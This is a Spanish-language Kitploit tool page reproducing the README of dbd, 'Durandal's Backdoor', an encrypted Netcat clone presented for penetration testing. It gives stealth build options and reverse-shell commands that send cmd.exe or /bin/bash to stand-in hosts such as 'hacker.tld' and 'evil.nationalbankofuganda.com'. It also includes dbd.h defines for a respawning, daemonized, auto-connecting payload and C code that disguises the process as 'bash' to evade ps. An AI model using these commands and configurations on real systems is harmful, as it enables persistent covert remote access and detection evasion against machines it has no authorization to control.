Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
dbd — Durandal's Backdoor | Kitploit
Herramientas/GitHubGitHub/gitdurandal/dbd
Herramientas de Cifrado/DescifradoExplotaciónPost-ExplotaciónSeguridad de RedesPruebas de PenetraciónComando y ControlRed TeamingHerramienta de Acceso RemotoDesarrollo de Payloads
GitHubgitdurandal/dbd

dbd

Durandal's Backdoor

15238hace 3 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver RepositorioSitio web

d8888b. d8888b. d8888b. 88 8D 88 8D 88 `8D 88 88 88oooY' 88 88 88 88 88~~~b. 88 88 88 .8D 88 8D 88 .8D Y8888D' Y8888P' Y8888D'

#Durandal's Backdoor #Copyright (C) 2013 Kyle Barnthouse [email protected] #dbd se distribuye bajo la GNU GPL #Binario Mipsbe añadido por Darkerego [https://github.com/darkerego] [(mailto:[email protected])]

###SINOPSIS

dbd es un clon de Netcat, diseñado para ser portátil y ofrecer un cifrado sólido. Se ejecuta en sistemas operativos tipo Unix y en Microsoft Win32. dbd incluye cifrado AES-CBC-128 + HMAC-SHA1 (por Christophe Devine), ejecución de programas (opción -e), elección del puerto de origen, reconexión continua con retardo y algunas otras funciones interesantes. dbd solo admite comunicación TCP/IP. El código fuente y los binarios se distribuyen bajo la GNU General Public License.

###COMPILACIÓN

root@kitploit:~
$ make
usage:
  make unix     - Linux, NetBSD, FreeBSD, OpenBSD
  make unix32  - Linux, NetBSD, FreeBSD, OpenBSD 32-bit
  make sunos    - SunOS (Solaris)
  make win32    - native win32 console app (w/ Cygwin + MinGW)
  make win32bg  - create a native win32 no-console app (w/ Cygwin + MinGW)
  make win32bg CFLAGS=-DSTEALTH - stealthy no-console app
  make mingw    - native win32 console app (w/ MinGW MSYS)
  make mingwbg  - native win32 no-console app (w/ MinGW MSYS)
  make mingwbg CFLAGS=-DSTEALTH - stealthy no-console app (w/ MinGW MSYS)
  make cygwin   - Cygwin console app
  make darwin   - Darwin

cross-compile options:
  make mingw-cross    - win32 cross compile (i586-mingw32msvc-gcc)
  make mingwbg-cross  - win32 no-console cross compile (i586-mingw32msvc-gcc)
  make mingwbg-cross CFLAGS=-DSTEALTH - stealthy win32 cross compile
  make unix CROSS_COMPILE=<path/to/toolchain-> - cross compile for any arch

roll up a tarball (move your compiled stuff to binaries/ first:
  make dist     - create tarball with source files, readme, and binaries/

Para compilar dbd en un sistema operativo tipo Unix necesitas gcc y las herramientas de desarrollo correspondientes. Para Linux, FreeBSD, NetBSD, OpenBSD (y posiblemente otros), escribe:

root@kitploit:~
$ make unix

Para SunOS/Solaris, escribe:

root@kitploit:~
$ make sunos

Para compilar dbd en Microsoft Windows (NT/2K/XP/2K3) necesitas MinGW+MSYS, o Cygwin con soporte completo de desarrollo (el MinGW gcc de Cygwin). Para compilar una aplicación de consola dbd Win32 nativa bajo Cygwin, escribe:

root@kitploit:~
$ make win32

o, bajo MSYS:

root@kitploit:~
$ make mingw

Para compilar una aplicación sin consola ("WinMain") bajo Cygwin, escribe:

root@kitploit:~
$ make win32bg

o, bajo MSYS:

root@kitploit:~
$ make mingwbg

Para compilar una aplicación de consola específica de Cygwin, escribe:

root@kitploit:~
$make cygwin

Puede que quieras cambiar el comportamiento predeterminado de dbd. Una de las cosas más importantes es cambiar el secreto compartido predeterminado por tu propia frase de contraseña. Edita dbd.h y reemplaza los valores por tus preferencias. Por ejemplo, puede que quieras fijar un host y un puerto a los que conectarse si dbd se inicia sin opciones. En dbd.h se proporcionan ejemplos completos.

###EJEMPLOS DE USO

Con un poco de imaginación, dbd se puede usar para muchas cosas:

Usa dbd para transferir archivos de forma segura entre dos redes:

root@kitploit:~
snafu$ dbd -l -p 12345 -k secret > output.file

fubar$ cat input.file | dbd -k secret snafu 12345

o desde win32:

root@kitploit:~
C:\somedir>type input.fil | dbd -k secret snafu 12345

Usa dbd como un chat simple (pero seguro):

root@kitploit:~
snafu$ dbd -P snafu -Hon fubar 1234

fubar$ dbd -Pfubar -Hon -l -p 1234

Usa dbd como puerta trasera (backdoor) para pruebas de penetración:

root@kitploit:~
C:\hacked box>dbdbg.exe -r1800 -q -e cmd.exe hacker.tld 443

o en sistemas operativos tipo Unix:

root@kitploit:~
root@owned# ./dbd -r1800 -Don -e /bin/bash hacker.tld 993

###OPCIONES EMPOTRADAS EN EL CÓDIGO

Además de usar opciones de línea de comandos, puedes fijar variables en el código mediante #defines en dbd.h. Para ello, define las variables que desees usar como constantes con nombre y compila con normalidad. Por ejemplo, si quisieras fijar en el código un ejecutable dbd que se conectara de vuelta a "evil.nationalbankofuganda.com" en el puerto 995 y ejecutara "/bin/bash", podrías ejecutar:

root@kitploit:~
root@owned# ./dbd -e /bin/bash evil.nationalbankofuganda.com 995

o, usando #defines fijados en el código, podrías editar dbd.h:

root@kitploit:~
#define DOLISTEN 0
#define HOST "evil.nationalbankofuganda.com"
#define PORT 995
#define EXECPROG "/bin/bash"
root@kitploit:~
También puedes configurar las opciones de respawn y sigilo para ayudar a mantener tu conexión:
root@kitploit:~
#define RESPAWN_ENABLED 1
#define RESPAWN_INTERVAL 900
#define QUIET 1
#define DAEMONIZE 1

Esto hará que la conexión se convierta en demonio ("melt", en terminología de malware), que nunca envíe salida a STDOUT y que intente restablecer la conexión cada 15 minutos si alguna vez se desconecta del listener.

###TECNOLOGÍA DE CAMUFLAJE ROMULANA

Ahora entramos en lo divertido. Una vez que seas un maestro fijando opciones en el código de tu puerta trasera, puedes usar la constante con nombre posiblemente más divertida a nuestra disposición: CLOAK. Para ello, simplemente establece el valor:

root@kitploit:~
#define CLOAK 1

NOTA: esto actualmente solo funciona en compilaciones *nix. Con el tiempo planeo añadir migración/enganche de procesos Win32 para que esos objetivos también puedan recibir algo de amor romulano.

Para entornos *nix, esta opción limpia argv[0] y lo reemplaza con la cadena "bash\0". También limpia todos los demás argv[] (sería absurdo que ps devolviera "bash -e /bin/bash someremotehost.com 443", ¿no?). Espero que no haga falta decir que NO PUEDES USAR ESTA OPCIÓN A MENOS QUE ESTÉS FIJANDO TUS VARIABLES EN DBD.H. Además, si pruebas esto en tu propio sistema, será divertido elegir el pid correcto para matar. ;)

Siéntete libre de usar este limpiador en cualquier cosa en la que estés trabajando:

root@kitploit:~
//grab our named constant
int cloak = CLOAK;

//Engage cloaking device
if(cloak)
{
	#ifdef WIN32
	//stub              
	#else
	//change argv[0] to say bash       
	int scrub;
	strncpy((char *)argv[0], "\0", strlen((char *)argv[0]) + 1);
	strcpy((char *)argv[0], "bash\0");    
	for (scrub = 1; scrub < argc; scrub++)
	{                     
		 strncpy((char *)argv[scrub], "\0", strlen((char *)argv[scrub]) + 1);
	}                 
	#endif
}

###ADVERTENCIA

No pases entrada almacenada en caché (un archivo con comandos o similar) a una sesión "dbd -e" en modo escucha. "dbd -e" usa tuberías (pipes) para pasar datos entre el programa ejecutado y dbd. Las tuberías se usan (en lugar de simples descriptores de archivo duplicados de paso directo) debido al cifrado entre las tuberías y el socket. Para evitar que el extremo de escritura de una de las tuberías bloquee todo el proceso, lo convertí en un descriptor no bloqueante. Existe la posibilidad de que, al pasar demasiada entrada de una sola vez al programa -e, esta se trunque (se corte), ya que el búfer de la tubería (en el sistema operativo) no puede contener todos los datos. Este problema se puede solucionar, por ejemplo, haciendo que dbd sea multihilo, pero lo evitaré mientras sea posible por razones de compatibilidad.

##COMPILACIÓN CRUZADA

Dado que dbd fue diseñado para interoperar con otras herramientas/frameworks, make ahora permite la compilación cruzada de win32 en sistemas Linux que tengan el toolchain mingw32-gcc. Estas opciones son casi idénticas a sus contrapartes nativas de Windows, con la adición de "-cross" después de la compilación elegida. Ejemplo:

root@kitploit:~
$ make mingw-cross

hará lo mismo en un sistema Linux que

root@kitploit:~
$ make mingw

haría en un sistema win32 con mingw/msys instalado.

Por ahora, todas las opciones de compilación cruzada están pensadas para Kali Linux, pero deberían funcionar en cualquier *nix con un poco de cariño. Si tienes mingw32-gcc instalado y make no compila, edita la variable WCC en la parte superior del Makefile y coloca la ruta a tu binario mingw32-gcc.

A partir de dbd-1.5 puedes usar cualquier toolchain de compilación cruzada para compilar dbd estableciendo el prefijo del toolchain como CROSS_COMPILE. Por ejemplo, compilar una versión arm es tan fácil como:

root@kitploit:~
$ make unix CROSS_COMPILE=arm-linux-gnueabi-

##BRUJERÍA AVANZADA

Si deseas integrar dbd con un framework de explotación, puedes escribir un módulo que genere un dbd.h personalizado con opciones de configuración específicas para tu objetivo. Cualquier cosa que no esté explícitamente #definida en este archivo seguirá usando los valores predeterminados, así que no tienes que escribir todo en el encabezado. Ejemplo: elimina el archivo dbd.h y reemplázalo por:

root@kitploit:~
#define DOLISTEN 0
#define HOST "evil.nationalbankofuganda.com"
#define PORT 995
#define EXECPROG "/bin/bash"
#define RESPAWN_ENABLED 1
#define RESPAWN_INTERVAL 900
#define QUIET 1
#define CLOAK 1
#define SHARED_SECRET "customcrypto"

luego ejecuta make para construir un payload de conexión automática con camuflaje y respawn que se conecte de vuelta a un agente dbd en modo escucha en evil.nationalbankofuganda.com, ejecutándose con las opciones:

root@kitploit:~
$ dbd -l -p 995 -k customcrypto

Otro truco avanzado es compilar dbd usando dietlibc o uClibc. Para compilar un agente dbd linux con dietlibc, usa:

root@kitploit:~
$ make unix CROSS_COMPILE="diet -Os "

Presta atención al espacio después de la s en la cadena. Esto permite que el Makefile añada gcc con los CFLAGS y LDFLAGS estándar para que tu agente se compile correctamente. La ventaja de usar dietlibc es que produce un ejecutable 100% estático muy pequeño para el entorno objetivo (alrededor de 70K para un agente dbd linux antes de empaquetar, frente a los 700K+ estándar con glibc y gcc -static). Usar uClibc es aún más fácil, ya que solo tienes que establecer el prefijo de compilación cruzada de tu toolchain en CROSS_COMPILE.

##LICENCIA
dbd Copyright (C) 2013 Kyle Barnthouse [email protected]

Este programa es software libre; puedes redistribuirlo y/o modificarlo bajo los términos de la GNU General Public License tal como la publica la Free Software Foundation; ya sea la versión 2 de la Licencia, o (a tu elección) cualquier versión posterior.

Este programa se distribuye con la esperanza de que sea útil, pero SIN NINGUNA GARANTÍA; sin siquiera la garantía implícita de COMERCIABILIDAD o IDONEIDAD PARA UN PROPÓSITO PARTICULAR. Consulta la GNU General Public License para obtener más detalles.

Deberías haber recibido una copia de la GNU General Public License junto con este programa; si no es así, escribe a la Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA

Consulta el archivo COPYING para obtener más información.

La implementación de AES-CBC-128 + HMAC-SHA1 de dbd es Copyright (C) Christophe Devine [email protected] y se distribuye bajo la GNU General Public License (GPL).

Parte del código (para doexec_win32.h) se ha derivado de doexec.c del puerto Win32 de Netcat (C) Weld Pond y hobbit. Partes de doexec.c son Copyright (C) 1994 Nathaniel W. Mishkin (el código de doexec.c se derivó originalmente de rlogind.exe).

La versión original de Netcat fue escrita por hobbit [email protected]. La versión NT fue realizada por Weld Pond [email protected].


(C) Kyle Barnthouse [email protected] Consultor de Seguridad
gitbrew.org
Hephaestus Security

Descargar herramienta